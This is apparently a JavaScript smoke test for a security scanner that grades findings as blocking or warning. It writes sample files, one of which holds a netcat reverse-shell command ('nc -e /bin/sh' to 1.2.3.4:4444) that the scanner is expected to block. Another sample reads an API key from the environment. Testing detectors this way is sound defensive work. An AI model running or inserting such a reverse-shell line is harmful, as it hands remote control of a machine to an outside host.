21 lines
1.4 KiB
JavaScript
21 lines
1.4 KiB
JavaScript
|
// 安全扫描分级冒烟（P0 阻断 / P1 告警）
|
||
|
|
const { mkdtempSync, writeFileSync, rmSync } = require('node:fs')
|
||
|
|
const { join } = require('node:path')
|
||
|
|
const { tmpdir } = require('node:os')
|
||
|
|
const { scanDir } = require('/opt/dshs/lib/web/security-scan.js')
|
||
|
|
|
||
|
|
const dir = mkdtempSync(join(tmpdir(), 'scan-smoke-'))
|
||
|
|
// ① P1 样例：动态执行 + 敏感 env（应告警不阻断）
|
||
|
|
writeFileSync(join(dir, 'a.js'), 'const cp = require("child_process");\nconst k = process.env.DEEPSEEK_API_KEY;\n')
|
||
|
|
let findings = []
|
||
|
|
try { findings = scanDir(dir) } catch (e) { console.log(' ❌ P1 样例被阻断（不该）：', e.message.slice(0, 80)) }
|
||
|
|
console.log(' ① P1 样例 findings:', JSON.stringify(findings))
|
||
|
|
// ② P0 样例：反弹 shell（应阻断）
|
||
|
|
writeFileSync(join(dir, 'b.py'), 'import os\nos.system("nc -e /bin/sh 1.2.3.4 4444")\n')
|
||
|
|
try { scanDir(dir); console.log(' ❌ P0 样例未阻断（不该）') } catch (e) { console.log(' ✅ P0 样例已阻断:', e.message.slice(0, 90)) }
|
||
|
|
// ③ 良性样例：不应有任何 finding
|
||
|
|
const clean = mkdtempSync(join(tmpdir(), 'scan-clean-'))
|
||
|
|
writeFileSync(join(clean, 'ok.js'), 'export const hello = (n) => `hi ${n}`\n')
|
||
|
|
const cleanFindings = scanDir(clean)
|
||
|
|
console.log(' ② 良性样例 findings:', JSON.stringify(cleanFindings), cleanFindings.length === 0 ? '✅' : '❌')
|
||
|
|
rmSync(dir, { recursive: true, force: true }); rmSync(clean, { recursive: true, force: true })
|